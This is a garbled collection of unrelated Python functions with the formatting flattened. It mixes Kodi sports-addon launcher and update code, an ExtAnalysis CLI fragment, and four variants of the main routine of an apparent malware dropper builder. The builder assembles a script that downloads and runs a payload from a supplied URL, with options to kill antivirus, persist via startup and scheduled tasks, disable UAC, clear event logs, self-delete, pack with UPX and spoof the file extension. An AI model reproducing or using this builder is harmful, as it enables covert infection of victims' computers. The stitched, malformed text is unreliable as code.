def check_for_updates(item): from core import updater try: update, version_publicada, message = updater.check() if update: yes_pressed = platformtools.dialog_yesno( "¿Quieres instalarla?", "Versión " + version_publicada + " disponible", message) if yes_pressed: item.version = version_publicada updater.actualiza(item) else: platformtools.dialog_ok( "No hay ninguna actualización disponible", "Addon ya actualizado a su última versión") except: platformtools.dialog_ok("No hay ninguna actualización disponible", "Addon ya actualizado a su última versión")
core.quiet = True # help if args.help: parser.print_help() parser.exit() # version if args.version: #core.print_logo() print('ExtAnalysis Version: ' + core.version) exit() if args.update: import core.updater as updater updater.check() #core.updatelog('Initiating settings...') def allowed_file(filename): return '.' in filename and filename.rsplit( '.', 1)[1].lower() in allowed_extension app = Flask('ExtAnalysis - Browser Extension Analysis Toolkit') app.config['UPLOAD_FOLDER'] = core.lab_path @app.errorhandler(404) def page_not_found(e):
def run(): logger.info("dss.platformcode.launcher run") # Extract item from sys.argv if sys.argv[2]: item = Item().fromurl(sys.argv[2]) # If no item, this is mainlist else: item = Item(channel="channelselector", action="getmainlist", viewmode="movie") if item.action != "actualiza": logger.info("dss.platformcode.launcher " + item.tostring()) try: if item.action == "editor_keymap": from platformcode import editor_keymap return editor_keymap.start() # If item has no action, stops here if item.action == "": logger.info("dss.platformcode.launcher Item sin accion") return # Action for main menu in channelselector if item.action == "getmainlist": import channelselector itemlist = channelselector.getmainlist() # Check for updates only on first screen if config.get_setting("updatecheck") == "true": logger.info("Check for plugin updates enabled") from core import updater try: update, version_publicada, message, url_repo, serv = updater.check( ) if update: new_item = Item( title="Descargar versión " + version_publicada, channel="updater", action="actualiza", thumbnail=channelselector.get_thumbnail_path() + "Crystal_Clear_action_info.png", version=version_publicada, url=url_repo, server=serv) if config.get_setting("updateauto") == "true": updater.actualiza(new_item) new_item = Item( title= "Info para ver los cambios en la nueva versión instalada", plot=message, action="", channel="", thumbnail=channelselector.get_thumbnail_path() + "Crystal_Clear_action_info.png", text_color="red") itemlist.insert(0, new_item) else: platformtools.dialog_ok( "Versión " + version_publicada + " disponible", message) itemlist.insert(0, new_item) except: import traceback logger.info(traceback.format_exc()) logger.info( "dss.platformcode.launcher Fallo al verificar la actualización" ) else: logger.info( "dss.platformcode.launcher Check for plugin updates disabled" ) if not config.get_setting("primer_uso_matchcenter"): config.set_setting("primer_uso_matchcenter", "true") platformtools.dialog_ok( "MatchCenter activado", "Reinicia Kodi para usarlo (pulsar tecla U)", "La tecla, botones y otras opciones pueden cambiarse en Configuración -> Preferencias -> MatchCenter" ) file_keyboard = xbmc.translatePath( "special://profile/keymaps/deportesalacarta.xml") if config.get_setting( "matchcenter_enabled" ) == "true" and not os.path.exists(file_keyboard): tecla = "61525" tecla_guardada = config.get_setting("keymap_edit", "editor_keymap") if tecla_guardada: tecla = tecla_guardada from core import filetools data = '<keymap><global><keyboard><key id="%s">' % tecla + 'runplugin(plugin://plugin.video.dss/?ewogICAgImFjdGlvbiI6ICJzdGFydCIsIAogICAgImNoYW5uZWwiOiAibWF0Y2hjZW50ZXIiLCAKICAgICJpbmZvTGFiZWxzIjoge30KfQ%3D%3D))</key></keyboard></global></keymap>' filetools.write(file_keyboard, data) elif config.get_setting( "matchcenter_enabled") == "false" and os.path.exists( file_keyboard): from core import filetools try: filetools.remove(file_keyboard) except: pass platformtools.render_items(itemlist, item) # Action for updating plugin elif item.action == "actualiza": from core import updater updater.actualiza(item) xbmc.executebuiltin("Container.Refresh") # Action for channel listing on channelselector elif item.action == "filterchannels": import channelselector itemlist = channelselector.filterchannels(item.channel_type) platformtools.render_items(itemlist, item) # Action in certain channel specified in "action" and "channel" parameters else: can_open_channel = True # Checks if channel exists channel_file = os.path.join(config.get_runtime_path(), 'channels', item.channel + ".py") logger.info("dss.platformcode.launcher channel_file=%s" % channel_file) channel = None if os.path.exists(channel_file): try: channel = __import__('channels.%s' % item.channel, None, None, ["channels.%s" % item.channel]) except ImportError: exec "import channels." + item.channel + " as channel" logger.info( "deportesalacarta.platformcode.launcher running channel " + channel.__name__ + " " + channel.__file__) # Special play action if item.action == "play": logger.info("dss.platformcode.launcher play") # logger.debug("item_toPlay: " + "\n" + item.tostring('\n')) # First checks if channel has a "play" function if hasattr(channel, 'play'): logger.info( "dss.platformcode.launcher executing channel 'play' method" ) itemlist = channel.play(item) b_favourite = item.isFavourite # Play should return a list of playable URLS if len(itemlist) > 0 and isinstance(itemlist[0], Item): item = itemlist[0] if b_favourite: item.isFavourite = True platformtools.play_video(item) #Permitir varias calidades desde play en el canal elif len(itemlist) > 0 and isinstance(itemlist[0], list): item.video_urls = itemlist platformtools.play_video(item) # If not, shows user an error message else: platformtools.dialog_ok("plugin", "There is nothing to play") # If player don't have a "play" function, not uses the standard play from platformtools else: logger.info( "dss.platformcode.launcher executing core 'play' method" ) platformtools.play_video(item) # Special action for findvideos, where the plugin looks for known urls elif item.action == "findvideos": # First checks if channel has a "findvideos" function if hasattr(channel, 'findvideos'): itemlist = getattr(channel, item.action)(item) # If not, uses the generic findvideos function else: logger.info( "dss.platformcode.launcher no channel 'findvideos' method, " "executing core method") from core import servertools itemlist = servertools.find_video_items(item) platformtools.render_items(itemlist, item) # Special action for searching, first asks for the words then call the "search" function elif item.action == "search": logger.info("dss.platformcode.launcher search") tecleado = platformtools.dialog_input("") if tecleado is not None: tecleado = tecleado.replace(" ", "+") # TODO revisar 'personal.py' porque no tiene función search y daría problemas itemlist = channel.search(item, tecleado) else: itemlist = [] platformtools.render_items(itemlist, item) # For all other actions else: logger.info("dss.platformcode.launcher executing channel '" + item.action + "' method") itemlist = getattr(channel, item.action)(item) platformtools.render_items(itemlist, item) except urllib2.URLError, e: import traceback logger.error("dss.platformcode.launcher " + traceback.format_exc()) # Grab inner and third party errors if hasattr(e, 'reason'): logger.info("dss.platformcode.launcher Razon del error, codigo: " + str(e.reason[0]) + ", Razon: " + str(e.reason[1])) texto = config.get_localized_string( 30050) # "No se puede conectar con el sitio web" platformtools.dialog_ok("plugin", texto) # Grab server response errors elif hasattr(e, 'code'): logger.info("dss.platformcode.launcher codigo de error HTTP : %d" % e.code) # "El sitio web no funciona correctamente (error http %d)" platformtools.dialog_ok( "plugin", config.get_localized_string(30051) % e.code)
def main(): prepare_folder("temp") prepare_folder("output") clear() if args.u: updater.check() sys.exit(0) if not args.u: if not args.url: print(parser.print_help()) x = sys.exit(0) if not args.q: banner() if os.name == "nt": installer = "pyinstaller" exe = "" else: if sys.platform == "darwin": # On osx, the default .wine directory is located on $HOME/.wine/ installer = "wine " + os.environ[ 'HOME'] + "/.wine/drive_c/Python27/python.exe " + os.environ[ 'HOME'] + "/.wine/drive_c/Python27/Scripts/pyinstaller-script.py" else: # TODO: find all defaults location for .wine , or request it directely to the user if not found. installer = "wine /root/.wine/drive_c/Python27/python.exe /root/.wine/drive_c/Python27/Scripts/pyinstaller-script.py" exe = "wine " url = args.url p = "resources" fullp = os.getcwd() command = installer + " --noconsole -F --noupx {} " bat_path = ["scripts", "bat"] ps1_path = ["scripts", "powershell"] vbs_path = ["scripts", "vbs"] f = "" print_status(args) colored_print(" [*] Creating DR0P3R..", "g") f += "#!/usr/bin/python\n" f += "# -*- coding: iso-8859-15 -*-\n" f += 'import subprocess\n' f += get_code(os.path.join(p, "pre_run.py")) + "\n" #this functions for : #get_output(cmd): to get output of command without using pipe to escape the fatal error after compiling !! if args.k: if not args.nd: colored_print(" [*] Adding kill antivirus function..", "g") f += get_code(os.path.join(p, "killav.py")) + "\n" if sys.version_info[0] == 3: f += '\nfrom urllib.request import urlopen' elif sys.version_info[0] == 2: f += '\nfrom urllib import urlopen' if "http" not in url: url = "http://" + url if args.only32: if args.zip: f += get_code(os.path.join(p, "dropper.py")).replace( "##~Import-Here~##", "import zipfile").split("#Someshit")[0] + "\n" f += '\nfire_things_up("{}","32",True)\n'.format(url) else: f += get_code(os.path.join(p, "dropper.py")).split("#Someshit")[0] f += '\nfire_things_up("{}","32")\n'.format(url) elif args.only64: if args.zip: f += get_code(os.path.join(p, "dropper.py")).replace( "##~Import-Here~##", "import zipfile").split("#Someshit")[0] + "\n" f += '\nfire_things_up("{}","64",True)\n'.format(url) else: f += get_code(os.path.join(p, "dropper.py")).split("#Someshit")[0] f += '\nfire_things_up("{}","64")\n'.format(url) elif not args.only32 or not args.only64: if args.zip: f += get_code(os.path.join(p, "dropper.py")).replace( "##~Import-Here~##", "import zipfile").split("#Someshit")[0] + "\n" f += '\nfire_things_up("{}",False,True)\n'.format(url) else: f += get_code(os.path.join(p, "dropper.py")).split("#Someshit")[0] f += '\nfire_things_up("{}")\n'.format(url) if args.runas: f += get_code(os.path.join(p, "runas.py")) else: f += get_code(os.path.join(p, "dropper.py")).split("#Someshit")[1] if args.s: if not args.nd: colored_print(" [*] Adding startup function..", "g") if "File = 'library.exe'" not in f: f += "\nFile = 'library.exe'" f += get_code(os.path.join(p, "add2startup.py")) + "\n" if args.t: if not args.nd: colored_print(" [*] Adding task function..", "g") if "File = 'library.exe'" not in f: f += "\nFile = 'library.exe'" f += get_code(os.path.join(p, "add2task.py")) + "\n" if args.a: if not args.nd: colored_print(" [*] Adding add2profile function..", "g") if "File = 'library.exe'" not in f: f += "\nFile = 'library.exe'\n" f += "\nlink='{}'".format(url) f += get_code(os.path.join(p, "add2profile.py")) + "\n" if args.b: try: if not args.nd: colored_print(" [*] Adding runbat function..", "g") bat_path.append(args.b) ff = open(os.path.join(*bat_path)).read() f += "\nBat_Script_Data = '''{}'''".format(ff) f += get_code(os.path.join(p, "Runbat.py")) + "\n" except: colored_print( " [!] Error in reading bat file,are you sure it's in scripts folder ?", "r") if args.p: try: if not args.nd: colored_print(" [*] Adding runps1 function..", "g") ps1_path.append(args.p) ff = open(os.path.join(*ps1_path)).read() f += "\nPs1_Script_Data = '''{}'''".format(ff) f += get_code(os.path.join(p, "Runps1.py")) + "\n" except: colored_print( " [!] Error in reading ps1 file,are you sure it's in scripts folder ?", "r") if args.v: try: if not args.nd: colored_print(" [*] Adding runvbs function..", "g") vbs_path.append(args.v) ff = open(os.path.join(*vbs_path)).read() f += "\nVbs_Script_Data = '''{}'''".format(ff) f += get_code(os.path.join(p, "Runvbs.py")) + "\n" except: colored_print( " [!] Error in reading vbs file,are you sure it's in scripts folder ?", "r") if args.nouac: if not args.nd: colored_print(" [*] Adding disable UAC function..", "g") f += get_code(os.path.join(p, "Disable_UAC.py")) + "\n" colored_print(" [*] Adding self destruct function..", "g") f += get_code(os.path.join(p, "SelfDestruct.py")) + "\n" if not args.noclearevent: colored_print(" [*] Adding clear eventlog function..", "g") f += get_code(os.path.join(p, "Clearev.py")) + "\n" colored_print(" [*] Saving the final file..", "g") file_name = random_name() f += "\nx = subprocess.Popen( 'del out >> NUL',creationflags=subprocess.CREATE_NEW_CONSOLE, shell=True)" os.chdir("temp") fo = open(file_name + ".py", "w") fo.write(f) fo.close() if not args.nocompile: if PyInstaller(): colored_print(" [*] Compiling the final file to exe..", "g") if args.i: if os.path.isfile(os.path.join(fullp, "icons", args.i)): if not args.nd: colored_print(" [*] Adding icon to the final file..", "g") command += "--icon=" + os.path.join(fullp, "icons", args.i) else: colored_print( " [!] Error in icon file,are you sure it's in icons folder ?", "r") p = subprocess.Popen(command.format(file_name + ".py"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) (output, err) = p.communicate() debug = output.decode() + "\n" + err.decode() pw = p.wait() if "Traceback" in debug: f = open("debug.txt", "w") f.write(debug) f.close() colored_print( " [!] Error in compiling file [ See debug.txt file in temp folder ! ]", "r") sys.exit(0) file_name = get_executable() if args.upx: if not args.nd: colored_print(" [*] Compressing the final file..", "g") x = subprocess.Popen(exe + os.path.join("utils", "upx.exe") + " -9 " + os.path.join("output", file_name), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) os.chdir("..") make_copy(os.path.join("temp", "dist", file_name), os.path.join("output", file_name)) if args.spoof: if not args.nd: colored_print(" [*] Spoofing the final file extension..", "g") if Spoof_extension(os.path.join("output", file_name), args.spoof): colored_print(" [*] File extension spoof complate !", "g") else: colored_print(" [!] File extension spoof failed !", "r") else: colored_print( " [!] PyInstaller not installed : Can't compile file to exe..", "r") elif args.nocompile: file_name = file_name + ".py" os.chdir("..") blah = os.rename(os.path.join("temp", file_name), os.path.join("output", file_name)) colored_print( " [*] Finished and saved our Dr0pp3r as " + file_name + " in output folder ( happy hunting )", "m")
def main(): x = shutil.rmtree("temp", ignore_errors=True) xx = os.mkdir("temp") x = shutil.rmtree("output", ignore_errors=True) xx = os.mkdir("output") #clear() if args.u: updater.check() sys.exit(0) if not args.u: if not args.url: print(parser.print_help()) x = sys.exit(0) if not args.q: banner() url = args.url command = "pyinstaller --noconsole -F {} " p = "resources" bat_path = ["scripts", "bat"] ps1_path = ["scripts", "powershell"] vbs_path = ["scripts", "vbs"] f = "" print_status(args) colored_print(" [*] Creating DR0P3R..", "g") if args.s: if not args.nd: colored_print(" [*] Adding startup function..", "g") f += "\nFile = 'hosts.exe'\n" f += "\n" + get_code(os.path.join(p, "add2startup.py")) if args.t: if not args.nd: colored_print(" [*] Adding task function..", "g") f += "\nFile = 'hosts.exe'\n" f += "\n" + get_code(os.path.join(p, "add2task.py")) if args.k: if not args.nd: colored_print(" [*] Adding kill antivirus function..", "g") f += "\n" + get_code(os.path.join(p, "killav.py")) if args.b: try: if not args.nd: colored_print(" [*] Adding runbat function..", "g") bat_path.append(args.b) ff = open(os.path.join(*bat_path)).read() f += "\nBat_Script_Data = '''{}'''\n".format(ff) f += "\n" + get_code(os.path.join(p, "Runbat.py")) except Exception as e: print(e) colored_print( " [!] Error in reading bat file,are you sure it's in scripts folder ?", "r") if args.p: try: if not args.nd: colored_print(" [*] Adding runps1 function..", "g") ps1_path.append(args.p) ff = open(os.path.join(*ps1_path)).read() f += "\nPs1_Script_Data = '''{}'''\n".format(ff) f += "\n" + get_code(os.path.join(p, "Runps1.py")) except: colored_print( " [!] Error in reading ps1 file,are you sure it's in scripts folder ?", "r") if args.v: try: if not args.nd: colored_print(" [*] Adding runvbs function..", "g") vbs_path.append(args.v) ff = open(os.path.join(*vbs_path)).read() f += "\nVbs_Script_Data = '''{}'''\n".format(ff) f += "\n" + get_code(os.path.join(p, "Runvbs.py")) except: colored_print( " [!] Error in reading vbs file,are you sure it's in scripts folder ?", "r") if args.i: try: if not args.nd: colored_print(" [*] Adding icon to the final file..", "g") ff = open(args.i).read() command += "--icon=" + args.i except: colored_print( " [!] Error in icon file so I will use the default one", "r") if args.only32: f += '\nfire_things_up("{}",arch="32")\n'.format(url) elif args.only64: f += '\nfire_things_up("{}",arch="64")\n'.format(url) elif not args.only32 or not args.only64: f += '\nfire_things_up("{}")\n'.format(url) f += "\n" + get_code(os.path.join(p, "dropper.py")) colored_print(" [*] Compiling the final file to exe..", "g") file_name = random_name() os.chdir("temp") fo = open(file_name + ".py", "w") fo.write(f) fo.close() try: p = subprocess.Popen(command.format(file_name + ".py"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) (output, err) = p.communicate() pw = p.wait() except Exception as e: print(e) colored_print( " [!] Error in compiling file,are you sure pyinstaller is installed ?", "r") sys.exit(0) os.chdir("..") if os.name == "nt": file_name = file_name + ".exe" make_copy(os.path.join("temp", "dist", file_name), os.path.join("output", file_name)) if args.upx: if not args.nd: colored_print(" [*] Compressing the final file..", "g") x = subprocess.Popen(os.path.join("utils", "upx.exe") + " -9 " + os.path.join("output", file_name), shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) colored_print( " [*] Finished and saved our Dr0pp3r as " + file_name + ".exe in output folder ( happy hunting )", "m")
def main(): prepare_folder("temp") prepare_folder("output") clear() if args.u: updater.check() sys.exit(0) if not args.u: if not args.url: print(parser.print_help()) x = sys.exit(0) if not args.q: banner() if os.name == "nt": installer = "pyinstaller" exe = "" else: installer = "wine /root/.wine/drive_c/Python27/python.exe /root/.wine/drive_c/Python27/Scripts/pyinstaller-script.py" exe = "wine " url = args.url p = "resources" fullp = os.getcwd() command = installer + " -F --noupx {} " bat_path = ["scripts", "bat"] ps1_path = ["scripts", "powershell"] vbs_path = ["scripts", "vbs"] f = "" print_status(args) colored_print(" [*] Creating DR0P3R..", "g") f += 'import subprocess\n' if args.k: if not args.nd: colored_print(" [*] Adding kill antivirus function..", "g") f += get_code(os.path.join(p, "killav.py")) + "\n" if sys.version_info[0] == 3: f += 'from urllib.request import urlretrieve\n' elif sys.version_info[0] == 2: f += 'from urllib import urlretrieve\n' f += get_code(os.path.join(p, "dropper.py")) + "\n" if "http" not in url: url = "http://" + url if args.only32: f += 'fire_things_up("{}",arch="32")\n'.format(url) elif args.only64: f += 'fire_things_up("{}",arch="64")\n'.format(url) elif not args.only32 or not args.only64: f += 'fire_things_up("{}")\n'.format(url) if args.s: if not args.nd: colored_print(" [*] Adding startup function..", "g") if "from random import randint" not in f: f += "from random import randint\n" if "File = 'hosts.exe'" not in f: f += "File = 'hosts.exe'\n" f += get_code(os.path.join(p, "add2startup.py")) + "\n" if args.t: if not args.nd: colored_print(" [*] Adding task function..", "g") if "from random import randint" not in f: f += "from random import randint\n" if "File = 'hosts.exe'" not in f: f += "File = 'hosts.exe'\n" f += get_code(os.path.join(p, "add2task.py")) + "\n" if args.b: try: if not args.nd: colored_print(" [*] Adding runbat function..", "g") bat_path.append(args.b) ff = open(os.path.join(*bat_path)).read() f += "Bat_Script_Data = '''{}'''\n".format(ff) f += get_code(os.path.join(p, "Runbat.py")) + "\n" except: colored_print( " [!] Error in reading bat file,are you sure it's in scripts folder ?", "r") if args.p: try: if not args.nd: colored_print(" [*] Adding runps1 function..", "g") ps1_path.append(args.p) ff = open(os.path.join(*ps1_path)).read() f += "Ps1_Script_Data = '''{}'''\n".format(ff) f += get_code(os.path.join(p, "Runps1.py")) + "\n" except: colored_print( " [!] Error in reading ps1 file,are you sure it's in scripts folder ?", "r") if args.v: try: if not args.nd: colored_print(" [*] Adding runvbs function..", "g") vbs_path.append(args.v) ff = open(os.path.join(*vbs_path)).read() f += "Vbs_Script_Data = '''{}'''\n".format(ff) f += get_code(os.path.join(p, "Runvbs.py")) + "\n" except: colored_print( " [!] Error in reading vbs file,are you sure it's in scripts folder ?", "r") if args.nouac: if not args.nd: colored_print(" [*] Adding disable UAC function..", "g") f += get_code(os.path.join(p, "Disable_UAC.py")) + "\n" colored_print(" [*] Adding self destruct function..", "g") f += get_code(os.path.join(p, "SelfDestruct.py")) + "\n" colored_print(" [*] Saving the final file..", "g") file_name = random_name() os.chdir("temp") fo = open(file_name + ".py", "w") fo.write(f) fo.close() if not args.nocompile: if PyInstaller(): colored_print(" [*] Compiling the final file to exe..", "g") if args.i: try: if not args.nd: colored_print(" [*] Adding icon to the final file..", "g") ff = open(os.path.join(fullp, "icons", args.i)).read() command += "--icon=" + os.path.join(fullp, "icons", args.i) except: colored_print( " [!] Error in icon file,are you sure it's in icons folder ?", "r") try: p = subprocess.Popen(command.format(file_name + ".py"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) (output, err) = p.communicate() pw = p.wait() except: colored_print( " [!] Error in compiling file,are you sure pyinstaller is installed ?", "r") sys.exit(0) file_name = get_executable() if args.upx: if not args.nd: colored_print(" [*] Compressing the final file..", "g") x = subprocess.Popen(exe + os.path.join("utils", "upx.exe") + " -9 " + os.path.join("output", file_name), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) os.chdir("..") make_copy(os.path.join("temp", "dist", file_name), os.path.join("output", file_name)) else: colored_print( " [!] PyInstaller not installed : Can't compile file to exe..", "r") elif args.nocompile: file_name = file_name + ".py" os.chdir("..") blah = os.rename(os.path.join("temp", file_name), os.path.join("output", file_name)) colored_print( " [*] Finished and saved our Dr0pp3r as " + file_name + " in output folder ( happy hunting )", "m")
def main(): prepare_folder("temp") prepare_folder("output") clear() if args.u: updater.check() sys.exit(0) if not args.u: if not args.url: print( parser.print_help() ) x=sys.exit(0) if not args.q: banner() if os.name=="nt": installer = "pyinstaller" exe = "" else: if sys.platform == "darwin": # On osx, the default .wine directory is located on $HOME/.wine/ installer = "wine " + os.environ['HOME'] + "/.wine/drive_c/Python27/python.exe " + os.environ['HOME'] + "/.wine/drive_c/Python27/Scripts/pyinstaller-script.py" else: # TODO: find all defaults location for .wine , or request it directely to the user if not found. installer = "wine /root/.wine/drive_c/Python27/python.exe /root/.wine/drive_c/Python27/Scripts/pyinstaller-script.py" exe = "wine " url = args.url p = "resources" fullp = os.getcwd() command = installer +" --noconsole -F --noupx {} " bat_path = ["scripts","bat"] ps1_path = ["scripts","powershell"] vbs_path = ["scripts","vbs"] f = "" print_status(args) colored_print( " [*] Creating DR0P3R..","g" ) f += "#!/usr/bin/python\n" f += "# -*- coding: iso-8859-15 -*-\n" f += 'import subprocess\n' f += get_code( os.path.join(p,"pre_run.py") )+"\n" #this functions for : #get_output(cmd): to get output of command without using pipe to escape the fatal error after compiling !! if args.k: if not args.nd: colored_print( " [*] Adding kill antivirus function..","g" ) f += get_code( os.path.join(p,"killav.py") )+"\n" if sys.version_info[0]==3: f += '\nfrom urllib.request import urlretrieve' elif sys.version_info[0]==2: f += '\nfrom urllib import urlretrieve' if "http" not in url: url = "http://"+url if args.only32: if args.zip: f += get_code( os.path.join(p,"dropper.py") ).replace("##~Import-Here~##","import zipfile").split("#Someshit")[0]+"\n" f += '\nfire_things_up("{}","32",True)\n'.format( url ) else: f += get_code( os.path.join(p,"dropper.py") ).split("#Someshit")[0] f += '\nfire_things_up("{}","32")\n'.format( url ) elif args.only64: if args.zip: f += get_code( os.path.join(p,"dropper.py") ).replace("##~Import-Here~##","import zipfile").split("#Someshit")[0]+"\n" f += '\nfire_things_up("{}","64",True)\n'.format( url ) else: f += get_code( os.path.join(p,"dropper.py") ).split("#Someshit")[0] f += '\nfire_things_up("{}","64")\n'.format( url ) elif not args.only32 or not args.only64: if args.zip: f += get_code( os.path.join(p,"dropper.py") ).replace("##~Import-Here~##","import zipfile").split("#Someshit")[0]+"\n" f += '\nfire_things_up("{}",False,True)\n'.format( url ) else: f += get_code( os.path.join(p,"dropper.py") ).split("#Someshit")[0] f += '\nfire_things_up("{}")\n'.format( url ) if args.runas: f += get_code( os.path.join(p,"runas.py") ) else: f += get_code( os.path.join(p,"dropper.py") ).split("#Someshit")[1] if args.s: if not args.nd: colored_print( " [*] Adding startup function..","g" ) if "File = 'library.exe'" not in f: f+="\nFile = 'library.exe'" f += get_code( os.path.join(p,"add2startup.py") )+"\n" if args.t: if not args.nd: colored_print( " [*] Adding task function..","g" ) if "File = 'library.exe'" not in f: f+="\nFile = 'library.exe'" f += get_code( os.path.join(p,"add2task.py") )+"\n" if args.a: if not args.nd: colored_print( " [*] Adding add2profile function..","g" ) if "File = 'library.exe'" not in f: f+="\nFile = 'library.exe'\n" f += "\nlink='{}'".format(url) f += get_code( os.path.join(p,"add2profile.py") )+"\n" if args.b: try : if not args.nd: colored_print( " [*] Adding runbat function..","g" ) bat_path.append(args.b) ff = open( os.path.join(*bat_path ) ).read() f += "\nBat_Script_Data = '''{}'''".format( ff ) f += get_code( os.path.join(p,"Runbat.py") )+"\n" except: colored_print( " [!] Error in reading bat file,are you sure it's in scripts folder ?","r" ) if args.p: try : if not args.nd: colored_print( " [*] Adding runps1 function..","g" ) ps1_path.append(args.p) ff = open( os.path.join(*ps1_path ) ).read() f += "\nPs1_Script_Data = '''{}'''".format( ff ) f += get_code( os.path.join(p,"Runps1.py") )+"\n" except : colored_print( " [!] Error in reading ps1 file,are you sure it's in scripts folder ?","r" ) if args.v: try : if not args.nd: colored_print( " [*] Adding runvbs function..","g" ) vbs_path.append(args.v) ff = open( os.path.join(*vbs_path ) ).read() f += "\nVbs_Script_Data = '''{}'''".format( ff ) f += get_code( os.path.join(p,"Runvbs.py") )+"\n" except : colored_print( " [!] Error in reading vbs file,are you sure it's in scripts folder ?","r" ) if args.nouac: if not args.nd: colored_print( " [*] Adding disable UAC function..","g" ) f += get_code( os.path.join(p,"Disable_UAC.py") )+"\n" colored_print( " [*] Adding self destruct function..","g" ) f += get_code( os.path.join(p,"SelfDestruct.py") )+"\n" if not args.noclearevent: colored_print( " [*] Adding clear eventlog function..","g" ) f += get_code( os.path.join(p,"Clearev.py") )+"\n" colored_print( " [*] Saving the final file..","g" ) file_name = random_name() os.chdir("temp") fo = open( file_name+".py","w" ) fo.write(f) fo.close() if not args.nocompile: if PyInstaller(): colored_print( " [*] Compiling the final file to exe..","g" ) if args.i: if os.path.isfile( os.path.join(fullp,"icons",args.i) ): if not args.nd: colored_print( " [*] Adding icon to the final file..","g" ) command += "--icon=" + os.path.join(fullp,"icons",args.i) else: colored_print( " [!] Error in icon file,are you sure it's in icons folder ?","r" ) p = subprocess.Popen( command.format(file_name+".py"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) (output, err) = p.communicate() debug = output.decode() + "\n" + err.decode() pw = p.wait() if "Traceback" in debug: f=open("debug.txt","w") f.write(debug) f.close() colored_print( " [!] Error in compiling file [ See debug.txt file in temp folder ! ]","r" ) sys.exit(0) file_name = get_executable() if args.upx: if not args.nd: colored_print( " [*] Compressing the final file..","g" ) x = subprocess.Popen(exe + os.path.join("utils","upx.exe") +" -9 "+os.path.join("output",file_name) ,shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE ) os.chdir("..") make_copy( os.path.join("temp","dist",file_name),os.path.join("output",file_name) ) if args.spoof: if not args.nd: colored_print( " [*] Spoofing the final file extension..","g" ) if Spoof_extension(os.path.join("output",file_name),args.spoof): colored_print( " [*] File extension spoof complate !","g" ) else: colored_print( " [!] File extension spoof failed !","r" ) else: colored_print( " [!] PyInstaller not installed : Can't compile file to exe..","r" ) elif args.nocompile: file_name = file_name+".py" os.chdir("..") blah = os.rename( os.path.join( "temp",file_name ),os.path.join( "output",file_name ) ) colored_print( " [*] Finished and saved our Dr0pp3r as "+file_name+" in output folder ( happy hunting )","m" )
def run(): logger.info("deportesalacarta.platformcode.launcher run") # Extract item from sys.argv if sys.argv[2]: item = Item().fromurl(sys.argv[2]) # If no item, this is mainlist else: item = Item(channel="channelselector", action="getmainlist", viewmode="movie") logger.info("deportesalacarta.platformcode.launcher "+item.tostring()) try: # If item has no action, stops here if item.action == "": logger.info("deportesalacarta.platformcode.launcher Item sin accion") return # Action for main menu in channelselector if item.action == "getmainlist": import channelselector itemlist = channelselector.getmainlist() # Check for updates only on first screen if config.get_setting("updatecheck2") == "true": logger.info("deportesalacarta.platformcode.launcher Check for plugin updates enabled") from core import updater try: update, version_publicada, message = updater.check() if update: platformtools.dialog_ok("Versión "+version_publicada+" disponible", message) itemlist.insert(0, Item(title="Descargar versión "+version_publicada, channel="updater", action="actualiza", thumbnail=channelselector.get_thumbnail_path() + "Crystal_Clear_action_info.png", version=version_publicada)) except: import traceback logger.info(traceback.format_exc()) logger.info("deportesalacarta.platformcode.launcher Fallo al verificar la actualización") else: logger.info("deportesalacarta.platformcode.launcher Check for plugin updates disabled") platformtools.render_items(itemlist, item) # Action for updating plugin elif item.action == "actualiza": from core import updater updater.actualiza(item) import xbmc xbmc.executebuiltin("Container.Refresh") # Action for channel listing on channelselector elif item.action == "filterchannels": import channelselector itemlist = channelselector.filterchannels(item.channel_type) platformtools.render_items(itemlist, item) # Action in certain channel specified in "action" and "channel" parameters else: can_open_channel = True # Checks if channel exists channel_file = os.path.join(config.get_runtime_path(), 'channels', item.channel+".py") logger.info("deportesalacarta.platformcode.launcher channel_file=%s" % channel_file) channel = None if os.path.exists(channel_file): try: channel = __import__('channels.%s' % item.channel, None, None, ["channels.%s" % item.channel]) except ImportError: exec "import channels."+item.channel+" as channel" logger.info("deportesalacarta.platformcode.launcher running channel "+channel.__name__+" "+channel.__file__) # Special play action if item.action == "play": logger.info("deportesalacarta.platformcode.launcher play") # logger.debug("item_toPlay: " + "\n" + item.tostring('\n')) # First checks if channel has a "play" function if hasattr(channel, 'play'): logger.info("deportesalacarta.platformcode.launcher executing channel 'play' method") itemlist = channel.play(item) b_favourite = item.isFavourite # Play should return a list of playable URLS if len(itemlist) > 0: item = itemlist[0] if b_favourite: item.isFavourite = True platformtools.play_video(item) # If not, shows user an error message else: platformtools.dialog_ok("plugin", "No hay nada para reproducir") # If player don't have a "play" function, not uses the standard play from platformtools else: logger.info("deportesalacarta.platformcode.launcher executing core 'play' method") platformtools.play_video(item) # Special action for findvideos, where the plugin looks for known urls elif item.action == "findvideos": # First checks if channel has a "findvideos" function if hasattr(channel, 'findvideos'): itemlist = getattr(channel, item.action)(item) # If not, uses the generic findvideos function else: logger.info("deportesalacarta.platformcode.launcher no channel 'findvideos' method, " "executing core method") from core import servertools itemlist = servertools.find_video_items(item) platformtools.render_items(itemlist, item) # Special action for searching, first asks for the words then call the "search" function elif item.action == "search": logger.info("deportesalacarta.platformcode.launcher search") tecleado = platformtools.dialog_input("") if tecleado is not None: tecleado = tecleado.replace(" ", "+") # TODO revisar 'personal.py' porque no tiene función search y daría problemas itemlist = channel.search(item, tecleado) else: itemlist = [] platformtools.render_items(itemlist, item) # For all other actions else: logger.info("deportesalacarta.platformcode.launcher executing channel '"+item.action+"' method") itemlist = getattr(channel, item.action)(item) platformtools.render_items(itemlist, item) except urllib2.URLError, e: import traceback logger.error("deportesalacarta.platformcode.launcher "+traceback.format_exc()) # Grab inner and third party errors if hasattr(e, 'reason'): logger.info("deportesalacarta.platformcode.launcher Razon del error, codigo: "+str(e.reason[0])+", Razon: " + str(e.reason[1])) texto = config.get_localized_string(30050) # "No se puede conectar con el sitio web" platformtools.dialog_ok("plugin", texto) # Grab server response errors elif hasattr(e, 'code'): logger.info("deportesalacarta.platformcode.launcher codigo de error HTTP : %d" % e.code) # "El sitio web no funciona correctamente (error http %d)" 